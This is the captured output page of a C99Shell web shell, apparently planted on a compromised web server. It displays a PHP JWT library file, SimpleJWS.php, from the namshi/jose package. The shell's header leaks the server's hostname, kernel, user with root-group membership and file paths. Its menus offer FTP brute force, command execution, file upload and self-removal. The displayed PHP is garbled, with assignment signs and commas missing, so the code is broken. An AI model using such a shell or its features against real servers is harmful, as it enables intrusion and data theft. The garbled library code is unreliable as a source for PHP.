!C99Shell v. 2.5 [PHP 8 Update] [24.05.2025]!

Software: Apache. PHP/8.1.30 

uname -a: Linux server1.tuhinhossain.com 5.15.0-151-generic #161-Ubuntu SMP Tue Jul 22 14:25:40 UTC
2025 x86_64
 

uid=1002(picotech) gid=1003(picotech) groups=1003(picotech),0(root)  

Safe-mode: OFF (not secure)

/home/picotech/domains/smab.picotech.app/public_html/vendor/namshi/jose/src/Namshi/JOSE/   drwxr-xr-x
Free 28.5 GB of 117.98 GB (24.15%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Self remove    Logout    


Viewing file:     SimpleJWS.php (2.19 KB)      -rw-r--r--
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
<?php

namespace Namshi\JOSE;

/**
 * Class providing an easy to use JWS implementation.
 */
class SimpleJWS extends JWS
{
    
/**
     * Constructor.
     *
     * @param array $header An associative array of headers. The value can be any type accepted by json_encode or a JSON serializable object
     *
     * @see http://php.net/manual/en/function.json-encode.php
     * @see http://php.net/manual/en/jsonserializable.jsonserialize.php
     * @see https://tools.ietf.org/html/draft-ietf-jose-json-web-signature-41#section-4
     * }
     */
    
public function __construct($header = array(), $encryptionEngine 'OpenSSL')
    {
        if (!isset(
$header['typ'])) {
            
$header['typ'] = 'JWS';
        }
        
parent::__construct($header$encryptionEngine);
    }

    
/**
     * Sets the payload of the current JWS with an issued at value in the 'iat' property.
     *
     * @param array $payload
     *
     * @return $this
     */
    
public function setPayload(array $payload)
    {
        if (!isset(
$payload['iat'])) {
            
$payload['iat'] = time();
        }

        return 
parent::setPayload($payload);
    }

    
/**
     * Checks that the JWS has been signed with a valid private key by verifying it with a public $key
     * and the token is not expired.
     *
     * @param resource|string $key
     * @param string          $algo The algorithms this JWS should be signed with. Use it if you want to restrict which algorithms you want to allow to be validated.
     *
     * @return bool
     */
    
public function isValid($key$algo null)
    {
        return 
$this->verify($key$algo) && !$this->isExpired();
    }

    
/**
     * Checks whether the token is expired based on the 'exp' value.
     *it.
     *
     * @return bool
     */
    
public function isExpired()
    {
        
$payload $this->getPayload();

        if (isset(
$payload['exp'])) {
            
$now = new \DateTime('now');

            if (
is_int($payload['exp'])) {
                return (
$now->getTimestamp() - $payload['exp']) > 0;
            }

            if (
is_numeric($payload['exp'])) {
                return (
$now->format('U') - $payload['exp']) > 0;
            }
        }

        return 
false;
    }
}

:: Command execute ::

Enter:
 
Select:
 

:: Search ::
  - regexp 

:: Upload ::
 
[ ok ]

:: Make Dir ::
 
[ ok ]
:: Make File ::
 
[ ok ]

:: Go Dir ::
 
:: Go File ::
 

--[ c99shell v. 2.5 [PHP 8 Update] [24.05.2025] | Generation time: 0.0038 ]--